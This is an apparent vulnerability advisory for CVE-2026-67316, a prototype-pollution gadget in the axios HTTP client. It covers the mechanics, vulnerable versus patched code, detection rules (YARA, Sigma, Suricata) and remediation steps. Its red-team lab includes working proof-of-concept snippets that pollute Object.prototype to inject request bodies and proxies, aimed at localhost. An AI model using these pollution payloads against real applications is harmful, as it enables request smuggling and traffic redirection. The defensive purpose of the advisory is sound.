CVE-2026-67316

Executive Summary

CVE-2026-67316 affects axios, a popular JavaScript HTTP client distributed primarily through the npm ecosystem. The vulnerability is a read-side prototype-pollution gadget that becomes exploitable only when Object.prototype has already been polluted by another vulnerability, dependency, or malicious script. When that precondition is met, axios can inadvertently read inherited attacker-controlled values such as data, proxy, and paramsSerializer, leading to:

• Unexpected HTTP request bodies on GET, DELETE, HEAD, and OPTIONS requests.
• Routing of requests through an attacker-controlled proxy.
• Attacker-controlled URL serialization during request construction.

The issue is fixed in axios 1.18.0 and 0.33.0. Given the npm distribution channel, this vulnerability must be treated as a supply chain risk. Organizations using axios should inventory their dependency trees, verify package integrity, and update immediately if running affected versions.

Supply Chain & Package Security

Axios is one of the most widely deployed npm packages. Because this CVE affects the npm package, the following supply chain controls should be reviewed:

• Run npm audit and npm audit fix to identify affected axios versions.
• Verify lockfiles for pinned axios versions.
• Use integrity hashes in package-lock.json or yarn.lock.
• Monitor for typo-squatting or dependency confusion packages that may introduce prototype pollution in the first place.
• Use Software Bill of Materials (SBOM) generation to track axios across all services.
• Treat any application that mixes untrusted JSON parsing with axios as high risk, because prototype pollution can originate from JSON.parse of attacker-controlled data.

CVSS Breakdown & Threat Level

The NVD has assigned a CVSS score of 0.0 and no vector string. This is because the vulnerability is a gadget, not a directly reachable vulnerability. A prerequisite prototype pollution must already exist. For this reason:

• Attack Vector: Local / Adjacent (depending on pollution source)
• Attack Complexity: High
• Privileges Required: None in many scenarios, but requires prior pollution
• User Interaction: None
• Scope: Unchanged
• Impact: Confidentiality/Integrity impact low-to-moderate depending on service context

The real threat level is moderate, especially in server-side Node.js applications where axios requests are made to internal or external services. A carefully polluted Object.prototype can smuggle request bodies or redirect traffic to attacker-controlled infrastructure, potentially enabling SSRF or request smuggling behavior.

Deep Dive & Mechanics

Axios supports method aliases such as axios.get(), axios.delete(), axios.head(), and axios.options(). Internally, these methods build a config object and pass it to the request dispatcher.

In affected versions, the config normalization step reads certain fields before validating whether they are own properties of the config object. In JavaScript, property access such as config.data walks the prototype chain. If Object.prototype has been polluted with a data property, then every configuration object that does not define its own data property will inherit the polluted value.

This leads to a read-side prototype-pollution gadget:

1. Another vulnerability causes Object.prototype.data to be set to an attacker-controlled string.
2. The application calls axios.get('/api/user').
3. Inside axios, (config || {}).data evaluates to the inherited polluted value.
4. Axios includes this value as the request body, even though GET requests were not intended to carry a body.
5. Servers that process GET bodies may interpret the payload as a separate request, enabling request smuggling or cache poisoning.

Additionally, lower-level paths inside lib/adapters/http.js and unsafe/helpers/resolveConfig.js can read inherited proxy and paramsSerializer values when called directly with plain configs. This can:

• Route traffic through an attacker-controlled proxy.
• Force axios to use attacker-controlled serialization logic for query parameters.

The maintainers note that these low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. However, applications that import and call axios internal APIs directly remain at risk.

Vulnerable vs. Patched Code

The following conceptual examples show the vulnerable pattern versus the patched pattern.

Vulnerable Pattern

// Affected axios versions
function buildRequest(config) {
  if (config.data) {
    // Reads from prototype chain if config.data is inherited
    requestBody = config.data;
  }

  if (config.proxy) {
    // Reads polluted proxy if no own proxy is defined
    transportOptions.proxy = config.proxy;
  }

  if (config.paramsSerializer) {
    // Reads polluted serializer if no own serializer is defined
    queryString = config.paramsSerializer;
  }

  return request;
}

Patched Pattern

// Fixed in axios 1.18.0 and 0.33.0
function buildRequest(config) {
  if (Object.prototype.hasOwnProperty.call(config, 'data')) {
    requestBody = config.data;
  }

  if (Object.prototype.hasOwnProperty.call(config, 'proxy')) {
    transportOptions.proxy = config.proxy;
  }

  if (Object.prototype.hasOwnProperty.call(config, 'paramsSerializer')) {
    queryString = config.paramsSerializer;
  }

  return request;
}

The key fix is to use own-property checks such as Object.prototype.hasOwnProperty.call() or Object.hasOwn() when accessing sensitive config fields.

Exploitation & Lab Setup

No public exploit-db code is available for CVE-2026-67316. The following lab guide demonstrates the vulnerability in a controlled environment.

Red Team Lab

Prerequisites

• Node.js installed.
• Axios version < 1.18.0 installed, e.g. 1.17.0.
• A local HTTP server that logs request bodies.

Step 1: Install the affected version

npm init -y
npm install axios@1.17.0

Step 2: Simulate prototype pollution

// pollute.js
Object.prototype.data = JSON.stringify({ suspicious: true });
Object.prototype.proxy = { host: '127.0.0.1', port: 8080 };

Step 3: Send a GET request using axios

const axios = require('axios');

Object.prototype.data = JSON.stringify({ injected: 'body' });

axios.get('http://localhost:3000/test')
  .then(response => console.log(response.status))
  .catch(error => console.log(error));

Step 4: Observe the request

On a netcat listener or custom HTTP server, you should see a GET /test request with a body containing {"injected":"body"}.

nc -l -p 3000

Expected malicious request:

GET /test HTTP/1.1
Host: localhost:3000

{"injected":"body"}

Step 5: Test low-level adapter gadget

const httpAdapter = require('axios/lib/adapters/http');
const config = { method: 'get', url: 'http://localhost:3000/' };

// Object.prototype.proxy is inherited from pollution
Object.prototype.proxy = { host: '127.0.0.1', port: 8080 };

httpAdapter(config).catch(() => {});

This may cause the request to be routed through 127.0.0.1:8080.

Blue Team Lab

Blue teamers should reproduce the vulnerability locally and observe the behavioral indicators.

• Use tcpdump to capture outbound requests:

tcpdump -i lo -A 'tcp port 3000'

• Inspect for GET requests with a body.
• Watch for the Proxy-Connection: Keep-Alive header when a malicious proxy is injected.
• Log all calls to Object.prototype setters to identify the initial pollution source.

Indicators of Compromise (IOCs)

Because there is no standalone exploit package, IOCs are primarily behavioral.

• GET, DELETE, HEAD, or OPTIONS requests with a non-empty body.
• Outbound requests to unexpected proxy IP addresses or ports.
• Presence of proxy or paramsSerializer properties on Object.prototype during runtime inspection.
• Axios requests that suddenly include query string serialization functions not defined in the application code.
• Unexpected request bodies on idempotent methods that are not defined in application code.
• npm dependency trees containing axios versions < 1.18.0 or < 0.33.0.

Detection Engineering

No official Nuclei template or Exploit-DB code is available. The following detection content is provided as a starting point.

YARA Rule

rule CVE_2026_67316_Axios_PrototypePollution_Gadget
{
    meta:
        author = "Valters IT"
        description = "Detects axios source or application code containing unsafe prototype-chain reads"
        date = "2026-01-01"
        cve = "CVE-2026-67316"
    strings:
        $a = "axios.get"
        $b = "axios.delete"
        $c = "axios.head"
        $d = "axios.options"
        $e = "config.data"
        $f = "config.proxy"
        $g = "config.paramsSerializer"
        $h = "Object.prototype."
    condition:
        any of ($a,$b,$c,$d) and any of ($e,$f,$g) and #h < 3
}

Sigma Rule

title: CVE-2026-67316 Axios Unexpected Body on Idempotent Method
id: 5b1a7a3e-6b0c-4f5e-9a6a-7e2c5a4b8d1f
status: experimental
description: Detects HTTP requests created by axios that carry a body on GET, DELETE, HEAD, or OPTIONS methods.
references:
    - CVE-2026-67316
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: webserver
    product: generic
detection:
    selection_method:
        cs-method:
            - 'GET'
            - 'DELETE'
            - 'HEAD'
            - 'OPTIONS'
    selection_body:
        cs-body|contains:
            - '{'
            - '='
            - 'injected'
    condition: selection_method and selection_body
falsepositives:
    - Custom clients that intentionally send a body on GET or DELETE
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-67316 Axios Prototype Pollution Gadget - GET Request with Body"; flow:to_server,established; http.method; content:"GET"; http.request_body; content:"{"; threshold: type limit, track by_src, seconds 60, count 10; sid:2026731601; rev:1;)

alert http any any -> any any (msg:"CVE-2026-67316 Axios Prototype Pollution Gadget - Proxy Injection"; flow:to_server,established; http.header_names; content:"Proxy-Connection"; content:"Proxy-Authorization"; sid:2026731602; rev:1;)

Remediation & Mitigation

1. Upgrade axios to 1.18.0 or 0.33.0 immediately.

npm install axios@1.18.0

2. Scan for affected versions across all repositories.

npm ls axios

3. Harden against prototype pollution in your application:

Object.freeze(Object.prototype);

4. Use safe property access in custom code:

const data = Object.hasOwn(config, 'data') ? config.data : undefined;

5. Validate all JSON input before it is passed to any parser that merges objects, such as JSON.parse combined with recursive merge utilities.

6. Deploy a WAF rule to block request bodies on idempotent HTTP methods.

7. Monitor internal traffic for unexpected proxy connections, especially to non-standard ports.

8. Audit direct imports of axios internal modules, such as axios/lib/adapters/http and axios/unsafe/helpers/resolveConfig, because these expose the low-level gadgets.

9. Maintain a runtime protection agent that detects assignments to Object.prototype.

10. Subscribe to GitHub advisories for axios to receive future CVE notifications.

Valters IT